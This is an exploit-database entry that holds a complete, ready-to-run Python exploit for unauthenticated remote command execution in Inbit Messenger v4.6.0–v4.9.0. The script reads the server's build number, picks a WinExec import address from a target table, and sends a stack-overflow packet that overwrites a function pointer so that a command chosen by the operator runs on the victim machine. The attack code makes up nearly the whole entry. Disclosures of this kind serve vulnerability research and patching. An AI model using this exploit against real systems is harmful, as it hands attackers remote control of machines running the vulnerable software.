Inbit Messenger v4.9.0 – Unauthenticated Remote Command Execution (RCE)

  • 作者: a-rey
    日期: 2023-03-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51127/
  • # Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
    # Date: 11/08/2022
    # Exploit Author: a-rey 
    # Vendor Homepage: http://www.inbit.com/support.html
    # Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
    # Version: v4.6.0 - v4.9.0
    # Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
    # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    import sys, socket, struct, string, argparse, logging
    
    BANNER = """\033[0m\033[1;35m
    ╔══════════════════════════════════════════════════════════════════════════╗
    ║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
    ╚══════════════════════════════════════════════════════════════════════════╝\033[0m
     by: \033[1;36m █████╗██████╗ ███████╗██╗ ██╗
     \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║
     \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝
     \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝
     \033[1;36m██║██║ ██║██║███████╗ ██║ 
     \033[1;36m╚═╝╚═╝ ╚═╝╚═╝╚══════╝ ╚═╝ 
    \033[0m"""
    
    # NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
    TARGETS = {
    4601 : 0x005f3360,
    4801 : 0x005f7364,
    4901 : 0x005f7364,
    }
    
    # NOTE: min and max values for length of command
    CMD_MIN_LEN = 10
    CMD_MAX_LEN = 0xfc64
    
    # NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
    BAD_BYTES = b"\x3e" # >
    
    def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
    # NOTE: send packet with client build number of 4601 for v4.6.0
    pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
    logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((targetIp, targetPort))
    s.send(pkt)
    _d = s.recv(1024)
    # find build tag in response
    if b'<c>' not in _d:
    logging.error(f"invalid version packet received: {_d}")
    sys.exit(-1)
    s.close()
    try:
    build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
    except:
    logging.error(f"failed to parse build number from packet: {_d}")
    sys.exit(-1)
    # get the IAT offset 
    if build not in TARGETS.keys():
    logging.error(f"unexpected build number: {build}")
    sys.exit(-1)
    # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
    winexec = struct.pack("<I", TARGETS[build] - 0x38)
    logging.success(f"target build number is {build}")
    logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
    # sanity check for bad bytes in WinExec address
    for c in winexec:
    if c in BAD_BYTES:
    logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
    sys.exit(-1)
    return winexec
    
    def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
    # NOTE: command must be NULL terminated
    command += b"\x00"
    # check user command length
    if len(command) < CMD_MIN_LEN:
    logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
    sys.exit(-1)
    if len(command) >= CMD_MAX_LEN:
    logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
    sys.exit(-1)
    # get WinExec address
    winexec = getWinExecAddress(targetIp, targetPort)
    # get a string representation of the length of the command data after the <> tag parsed by atol()
    pktLen = str(len(command))
    pkt= b"<"# start of XML tag/stack overflow
    pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
    pkt += b"\x00" # NULL terminator to force atol to ignore what comes next
    # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
    pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
    pkt += winexec # indirect function pointer we control
    pkt += b">"# end of XML tag/stack overflow
    pkt += command # the command set to the call to WinExec()
    logging.info(f"sending payload to {targetIp}:{targetPort} ...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((targetIp, targetPort))
    s.send(pkt)
    s.close()
    logging.success("DONE")
    
    if __name__ == '__main__':
    # parse arguments
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
    parser.add_argument('-t', '--target',help='target IP',type=str, required=True)
    parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
    parser.add_argument('-p', '--port',help='target port',type=int, required=False, default=10883)
    args = parser.parse_args()
    # define logger
    logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
    logging.SUCCESS = logging.CRITICAL + 1
    logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
    logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
    logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
    logging.addLevelName(logging.INFO,'\033[0m\033[1;36mINFO\033[0m')
    logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
    # print banner
    print(BANNER)
    # run exploit
    exploit(args.target, args.port, args.command.encode())